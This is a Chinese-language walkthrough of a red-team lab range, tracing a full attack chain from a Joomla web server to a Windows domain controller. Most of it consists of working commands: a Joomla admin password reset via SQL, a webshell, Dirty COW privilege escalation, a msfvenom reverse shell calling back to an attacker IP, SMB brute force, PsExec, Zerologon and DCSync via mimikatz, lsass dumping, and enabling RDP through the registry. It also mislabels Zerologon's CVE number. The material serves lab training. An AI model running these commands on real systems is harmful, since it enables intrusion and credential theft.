
红日ATT&CK靶场系列(三)渗透实战笔记
红日ATT&CK靶场系列(三)渗透实战笔记
靶场简介
下载地址:https://pan.baidu.com/s/1iy4MIy6ni6d9F3iypeCYVQ 密码: 7mhi
下载后虚拟机导入即可,可以先把web1-ubantu、web-centos开启,其他三台等用的在开启
基本信息
**作者:**licong
环境配置
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。
挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。
除重新获取ip,不建议进行任何虚拟机操作。
参考虚拟机网络配置,添加新的网络,该网络作为内部网络。
注:名称及网段必须符合上述图片,进行了固定ip配置。
描述
目标:域控中存在一份重要文件。
本次环境为黑盒测试,不提供虚拟机账号密码
网络进行如下配置:
网卡设置
centos为出网机,第一次运行,需重新获取桥接模式网卡ip。
需重启网络服务service network restart
其他的不动
网络拓扑
靶场涉及知识点
- 本次打靶练习是一个黑盒测试。没有密码,我们的目标是拿到域控制器的权限,并找到其中的重要文件。
一、环境搭建
配置信息
ATT&CK红队实战靶场环境搭建:
靶机ip | 类型 |
---|---|
(IP:桥接模式192.168.1.103) | kali攻击机 |
(网卡1:192.168.1.102 (桥接)//网卡2:192.168.93.100) | Centos服务器 |
(IP:192.168.93.120) | Ubuntu服务器 |
(IP:192.168.93.10) | server2012服务器 |
(IP:192.168.93.20) | server2008服务器 |
(IP:192.168.93.30) | win7服务器 |
PS:Centos
需要添加一张网卡,192.168.1
网段需要桥接 192.168.93
的网段 NAT
模式即可。
二、渗透过程
2.1 WEB主机(外网)渗透
主机发现
kali的nmap扫描网段信息,使用ICMP协扫描c段:
nmap -sn -PE -T4 -n 192.168.1.0/24
-sn: 进行“Ping 扫描”,即仅检测哪些主机在线,而不进行端口扫描。
-PE: 使用 ICMP Echo 请求进行 Ping 扫描。
-T4: 设置扫描速度为“快速”,适合在网络条件良好的情况下使用。
-n: 不进行 DNS 解析,直接使用 IP 地址进行扫描。
排除kali本机ip的192.168.1.103外,成功发现一台主机ip信息为:
192.168.1.102
nmap端口扫描
分别对IP地址做主机端口和服务的详细扫描:
nmap -p- -sV -sS -O -T5 192.168.1.102
发现开放的端口信息:22,80,3306
访问web端口查看信息
Wappalyzer发现网站cms——Joomla
Joomla是一套全球知名的内容管理系统。
Joomla是使用PHP语言加上MySQL数据库所开发的软件系统。
可在Linux、 Windows、MacOSX等各种不同的平台上执行。是由Open Source Matters(见扩展阅读)这个开放源码组织进行开发与支持。
目录扫描
对web进行目录扫描
dirsearch -u http://192.168.1.102/
发现administrator后台
截选有价值的目录如下:
http://192.168.1.102/administrator/ 后台
http://192.168.1.102/robots.txt
http://192.168.1.102/configuration.php~
发现数据库mysql连接用户名和密码
testuser,cvcvgjASD!@
测试连接数据库,成功
在joomla的官方文档中找到了修改密码的操作
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F
执行sql命令进行修改密码
update am2zu_users set password = "433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT" where username="administrator";
administrator密码admin
修改成功,登录系统后台
Webshell上线蚁剑
找到模板处写一句话木马上线蚁剑
打开虚拟终端发现没有执行命令的权限,开启了 disable_functions 配置选项,禁用了代码执行的函数。
disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。执行命令发现ret=127,实际上就是因为被这个限制的原因。
1、黑名单绕过:
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open
2、利用Windows组件DCOM绕过(Linux系统不适用)
3、利用Linux环境变量LD_PRELOAD
LD_PRELOAD是Linux系统中的一个环境变量:它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,可以以此功能来使用自己的或是更好的函数,而另一方面,也可以以向别人的程序注入程序,从而达到特定的目的。
4、蚁剑插件或者哥斯拉绕过
使用蚁剑插件绕过
翻翻找找,看到敏感信息
在/tmp/mysql/test.txt文件中发现了用户名和密码
使用wwwuser/wwwuser_123Aqx进行ssh连接,连接成功
注意这里之前nmap扫描的ssh版本为OpenSSH 5.3 (protocol 2.0)需要在命令后带入HostKeyAlgorithms=+ssh-rsa
提权
查看系统版本
uname -a
Linux 2.6.32,
下载Linux-exploit-suggester,查询提提权漏洞
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
如果下载不了可以本地现下载后用本地开启服务器权限,靶机下载
修改文件权限并执行
chmod 7777 linux-exploit-suggester.sh
bash linux-exploit-suggester.sh
有脏牛提权
https://github.com/firefart/dirtycow.git
同样下载脏牛提权工具后攻击机开启http服务,下载在至目标机器,并进行编译
gcc -pthread dirty.c -o aaa -lcrypt
编译好后执行aaa文件(如果有passwd文件要提前删除),成功后设置密码为123456
可以看到提权用户firefart成功
su firefart,使用重设的密码成功登录
上线MSF
生成msf的elf木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4446 -f elf > shell.elf
开启msf设置监听
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.7
set lport 4446
run
攻击机开启服务后,靶机下载并执行
2.2 内网渗透
内网信息搜集
msf上线后添加路由扫描192.168.93.0网段的机器
bg
use post/multi/manage/autoroute
set subnet 192.168.91.0
set session 1
run
扫描:
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-254
set threads 5
run
发现三台机器分别是192.168.93.20、192.168.93.30、192.168.93.10
横向移动
现进行frp反向代理配置
进行横向攻击前先搭一个反向代理,这里使用的是frp
下载地址:https://github.com/fatedier/frp/
服务器端(kali):192.168.1.7
vi frps.toml
mmon]
bind_addr = 0.0.0.0
bind_port = 3333
token = Talent
客户端(受害机192.168.1.102):
[common]
server_addr = 192.168.1.7
server_port = 3333
token = Talent
[http_proxy8]
type = tcp
remote_port = 50002
plugin = socks5
plugin_user = aaa
plugin_passwd = Aaa
./frpc -c frpc.toml
代理成功
添加路由
sessions 1
run autoroute -s 192.168.93.0/24
run autoroute -p
smb爆破,爆破到密码
use auxiliary/scanner/smb/smb_login
set smbuser administrator
set pass_file /root/tools/dict/vul-pass.txt
set rhosts 192.168.93.20
run
msf进行smb密码密码爆破,得到20和30这两台主机的密码 administrator 123qwe!ASD
PsExec smb利用
msf进行登录,这里主要使用了PsExec进行利用
参考:https://www.cnblogs.com/tomyyyyy/p/14667204.html
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.20
set smbuser administrator
set smbpass 123qwe!ASD
run
拿下192.168.93.20(win2008)和192.168.93.30(win7)
kali正向代理配置
kali配置代理主要使用了kali自带的proxychains这款工具,这款工具需要修改配置文件/etc/proxychains4.conf
cp /etc/proxychains4.conf /etc/proxychains.conf #因为etc目录下没有文件proxychains.conf所以要copy一下,如果有就不用啦
vi /etc/proxychains.conf
#滑到最后写入 socks5 192.168.1.7 50002 aaa Aaa
wmiexec smb利用
WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的 Windows 管理技术;用户可以使用 WMI 管理本地和远程计算机。
作用:WMI以CIMOM为基础,CIMOM即公共信息模型对象管理器(Common Information Model Object Manager),是一个描述操作系统构成单元的对象数据库,为MMC和脚本程序提供了一个访问操作系统构成单元的公共接口。有了WMI,工具软件和脚本程序访问操作系统的不同部分时不需要使用不同的API;相反,操作系统的不同部分都可以插入WMI,工具软件和脚本程序可以方便地读写WMI。
WMI 可以管理本地和远程计算机,攻击者使用 wmi 攻击时 windows 系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。
wmiexec下载地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python3 -m pip install . (pip install . 两个空格)
拿到主机后正常的信息收集咯。在域内,域控一般就是dns的地址
存在域名test.org,dns:192.168.93.10
补充:
查找域控的一些命令
查看域控制器机器名 nltest /DCLIST:124-hack
查看域控制器的主机名 nslookup -type=SRV _ldap._tcp
查看当前时间 net time /domain
查看域控制器组 net group "Domain Controllers" /domian
查看域控制器机器名 netdom query pdc
查看域内主机
net view
zerologon漏洞
CVE-2020-14722是一个windows域控中严重的远程权限提升漏洞。
它是因为微软在Netlogon协议中没有正确使用加密算法而导致的漏洞。
由于微软在进行AES加密运算过程中,使用了AES-CFB8模式并且错误的将IV设置为全零,这使得攻击者在明文(client challenge)、IV等要素可控的情况下,存在较高概率使得产生的密文为全零
使用zerologon漏洞尝试攻击
回到msfconsole,加载mimikatz
load kiwi
kiwi_cmd lsadump::zerologon /target:WIN-8GA56TNV3MV.test.org /account:WIN-8GA56TNV3MV$ /exploit
攻击成功,转出hash值
kiwi_cmd lsadump::dcsync /domain:test.org /dc:WIN-8GA56TNV3MV.test.org /user:administrator /authuser:WIN-8GA56TNV3MV$ /authdomain:test /authpassword:"" /authntlm
解密读取密码:
抓到域控制器的密码zxcASDqw123!!
获取凭证的方式也有很多种,可以直接上传mimikatz上去,也可以dump下来到本地种解密
方式一:使用微软自带的工具procdump,下载地址https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
将lsass.dmp文件方法mimikatz所在目录,执行
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"
方式二:本地执行,可以上传到目标系统或使用3389复制过去
通过smb共享mimikatz
smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe
3389复制
查看是否开启3389远程桌面
#查看是否开启
netstat -an | find “3389”
#开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#关闭
https://www.cnblogs.com/Fluorescence-tjy/p/9835743.html
上传mimikatz到web主机进行攻击
win主机配置代理,连接192.168.93.20远程桌面
下载安装Proxifier,配置。下载使用地址:https://blog.zgsec.cn/index.php/archives/278/
密码:Aaa
复制mimikatz,已经是管理员权限了直接运行
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log
抓到域test.org控制器的密码zxcASDqw123!!
连接域控
使用wmiexec连接
proxychains4 python3 wmiexec.py -debug 'administrator:zxcASDqw123!!@192.168.93.10'
成功连接到域控
上线到msf
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.10
set smbuser administrator
set smbpass zxcASDqw123!!
run
三、思路总结
靶机的能学到的东西包括但不限于:指纹识别cms到getshell、主机信息收集、正反向代理、脏牛/Ubuntu提权、smb扫描到域、NTLM Relay攻击等
能系统的了解到内网渗透的流程
- 感谢你赐予我前进的力量